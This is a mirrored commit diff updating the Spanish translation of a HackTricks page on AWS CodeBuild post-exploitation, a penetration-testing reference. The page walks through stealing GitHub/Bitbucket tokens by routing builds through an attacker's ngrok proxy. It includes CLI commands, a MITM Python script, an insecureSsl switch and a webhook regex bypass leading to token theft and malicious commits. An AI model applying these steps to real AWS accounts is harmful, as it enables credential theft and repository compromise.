mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+47
-29
@@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Recuperar Tokens Configurados de Github/Bitbucket
|
||||
## Recuperar tokens configurados de Github/Bitbucket
|
||||
|
||||
Primero, verifica si hay credenciales de origen configuradas que podrías filtrar:
|
||||
Primero, comprueba si existen credenciales de origen configuradas que puedas leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### A través de la imagen de Docker
|
||||
### A través de una imagen Docker
|
||||
|
||||
Si encuentras que la autenticación, por ejemplo, en Github está configurada en la cuenta, puedes **exfiltrar** ese **acceso** (**token de GH o token de OAuth**) haciendo que Codebuild **utilice una imagen de docker específica** para ejecutar la construcción del proyecto.
|
||||
Si detectas que la autenticación, por ejemplo a Github, está configurada en la cuenta, puedes **exfiltrate** ese **access** (**GH token or OAuth token**) haciendo que Codebuild **use una imagen Docker específica** para ejecutar la build del proyecto.
|
||||
|
||||
Para este propósito, podrías **crear un nuevo proyecto de Codebuild** o cambiar el **entorno** de uno existente para establecer la **imagen de Docker**.
|
||||
Para ello puedes **crear un nuevo proyecto de Codebuild** o cambiar el **entorno** de uno existente para establecer la **imagen Docker**.
|
||||
|
||||
La imagen de Docker que podrías usar es [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta es una imagen de Docker muy básica que establecerá las **variables de entorno `https_proxy`**, **`http_proxy`** y **`SSL_CERT_FILE`**. Esto te permitirá interceptar la mayor parte del tráfico del host indicado en **`https_proxy`** y **`http_proxy`** y confiar en el CERT SSL indicado en **`SSL_CERT_FILE`**.
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Esta es una imagen Docker muy básica que establecerá las **variables de entorno `https_proxy`**, **`http_proxy`** y **`SSL_CERT_FILE`**. Esto te permitirá interceptar la mayor parte del tráfico del host indicado en **`https_proxy`** y **`http_proxy`** y confiar en el CERT SSL indicado en **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Crea y sube tu propia imagen de Docker MitM**
|
||||
- Sigue las instrucciones del repositorio para establecer tu dirección IP de proxy y configurar tu certificado SSL y **construir la imagen de docker**.
|
||||
- **NO CONFIGURES `http_proxy`** para no interceptar solicitudes al endpoint de metadatos.
|
||||
- Podrías usar **`ngrok`** como `ngrok tcp 4444` para establecer el proxy en tu host.
|
||||
- Una vez que tengas la imagen de Docker construida, **cárgala en un repositorio público** (Dockerhub, ECR...)
|
||||
2. **Configura el entorno**
|
||||
1. **Crear & subir tu propia imagen Docker MitM**
|
||||
- Sigue las instrucciones del repo para configurar la dirección IP de tu proxy y establecer tu certificado SSL y **construir la imagen Docker**.
|
||||
- **NO CONFIGURAR `http_proxy`** para no interceptar las requests al endpoint de metadata.
|
||||
- Puedes usar **`ngrok`** como `ngrok tcp 4444` para establecer el proxy hacia tu host
|
||||
- Una vez que tengas la imagen Docker construida, **subirla a un repo público** (Dockerhub, ECR...)
|
||||
2. **Configurar el entorno**
|
||||
- Crea un **nuevo proyecto de Codebuild** o **modifica** el entorno de uno existente.
|
||||
- Configura el proyecto para usar la **imagen de Docker generada previamente**.
|
||||
- Configura el proyecto para que use la **imagen Docker generada previamente**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Configura el proxy MitM en tu host**
|
||||
|
||||
- Como se indica en el **repositorio de Github**, podrías usar algo como:
|
||||
- Como indica el **repo de Github** podrías usar algo como:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> La **versión de mitmproxy utilizada fue 9.0.1**, se informó que con la versión 10 esto podría no funcionar.
|
||||
|
||||
4. **Ejecutar la construcción y capturar las credenciales**
|
||||
4. **Ejecutar el build y capturar las credenciales**
|
||||
|
||||
- Puedes ver el token en el encabezado **Authorization**:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Esto también se podría hacer desde aws cli con algo como
|
||||
Esto también se podría hacer desde el aws cli con algo como
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +71,18 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
### Mediante insecureSSL
|
||||
|
||||
**Codebuild** projects tienen una configuración llamada **`insecureSsl`** que está oculta en la web y solo se puede cambiar desde la API.\
|
||||
Habilitar esto permite a Codebuild conectarse al repositorio **sin verificar el certificado** ofrecido por la plataforma.
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Los proyectos de **Codebuild** tienen una opción llamada **`insecureSsl`** que está oculta en la web y solo se puede cambiar desde la API.\
|
||||
Activarla permite a Codebuild conectarse al repositorio **sin comprobar el certificado** ofrecido por la plataforma.
|
||||
|
||||
- Primero necesitas enumerar la configuración actual con algo como:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Luego, con la información recopilada, puedes actualizar la configuración del proyecto **`insecureSsl`** a **`True`**. El siguiente es un ejemplo de cómo actualicé un proyecto, nota el **`insecureSsl=True`** al final (esto es lo único que necesitas cambiar de la configuración recopilada).
|
||||
- Además, agrega también las variables de entorno **http_proxy** y **https_proxy** apuntando a tu tcp ngrok como:
|
||||
- Luego, con la información recopilada puedes actualizar la configuración del proyecto **`insecureSsl`** a **`True`**. El siguiente es un ejemplo de mi actualización de un proyecto, fíjate en **`insecureSsl=True`** al final (esto es lo único que necesitas cambiar de la configuración recopilada).
|
||||
- Además, añade también las variables de entorno **http_proxy** y **https_proxy** apuntando a tu tcp ngrok así:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +116,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables del proxy (http_proxy y https_proxy)
|
||||
- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables de proxy (http_proxy y https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,7 +129,7 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Finalmente, haz clic en **Build the project**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
|
||||
- Finalmente, haga clic en **Build the project**, las **credentials** serán **enviadas en texto claro** (base64) al mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -136,16 +137,16 @@ mitm.run()
|
||||
|
||||
> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)**
|
||||
|
||||
Un atacante con **permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket** configurado o si los permisos se configuraron a través de OAuth, el **token temporal de OAuth utilizado para acceder al código**.
|
||||
Un atacante con **permisos elevados sobre un CodeBuild podría leak el Github/Bitbucket token** configurado o, si los permisos se configuraron vía OAuth, el **temporary OAuth token used to access the code**.
|
||||
|
||||
- Un atacante podría agregar las variables de entorno **http_proxy** y **https_proxy** al proyecto de CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Un atacante podría añadir las variables de entorno **http_proxy** y **https_proxy** al proyecto CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Luego, cambia la URL del repositorio de github para usar HTTP en lugar de HTTPS, por ejemplo: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Luego, ejecuta el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto señalado por las variables de proxy (http_proxy y https_proxy)
|
||||
- Luego, cambie la URL del repo de github para usar HTTP en lugar de HTTPS, por ejemplo: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Luego, ejecute el ejemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) en el puerto indicado por las variables proxy (http_proxy y https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,15 +159,32 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- A continuación, haz clic en **Build the project** o inicia la construcción desde la línea de comandos:
|
||||
A continuación, haga clic en **Build the project** o inicie la compilación desde la línea de comandos:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Finalmente, las **credenciales** se enviarán en **texto claro** (base64) al puerto mitm:
|
||||
- Finalmente, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y (ab)usar más fácilmente que usando el servicio CodeBuild directamente.
|
||||
|
||||
## Bypass de la allowlist regex ACTOR_ID del filtro de webhook (PR-triggered privileged builds)
|
||||
|
||||
Los webhooks de CodeBuild para GitHub mal configurados que usan regex `ACTOR_ID` sin anclar permiten que PRs *no confiables* inicien builds privilegiadas. Si la allowlist es algo como `123456|7890123` sin `^`/`$`, cualquier ID que contenga una de esas subcadenas coincide. Dado que los IDs de usuario de GitHub son secuenciales, un atacante puede competir para registrar un ID eclipsante (una supercadena de un ID confiable) y desencadenar el build.
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. Encontrar proyectos públicos de CodeBuild que expongan filtros de webhook y extraer una allowlist `ACTOR_ID` sin anclar.
|
||||
2. Obtener un GitHub ID eclipsante:
|
||||
- Muestrear el contador global de IDs creando/eliminando organizaciones de GitHub (los org IDs comparten el pool).
|
||||
- Pre-crear muchas manifestaciones de GitHub App y activar las URLs de confirmación cuando el contador esté a ~100 IDs del objetivo para registrar en ráfaga un bot ID que contenga la subcadena confiable.
|
||||
3. Abrir un PR desde la cuenta eclipsante; la regex coincide con la subcadena y se ejecuta el build privilegiado.
|
||||
4. Usar RCE en el build (p. ej., dependency install hooks) para volcar la memoria del proceso que maneja la credencial de GitHub y recuperar el token PAT/OAuth.
|
||||
5. Con el scope `repo` del token, invitar tu cuenta como colaborador/administrador y push/approve commits maliciosos o exfiltrar secretos.
|
||||
|
||||
## Referencias
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user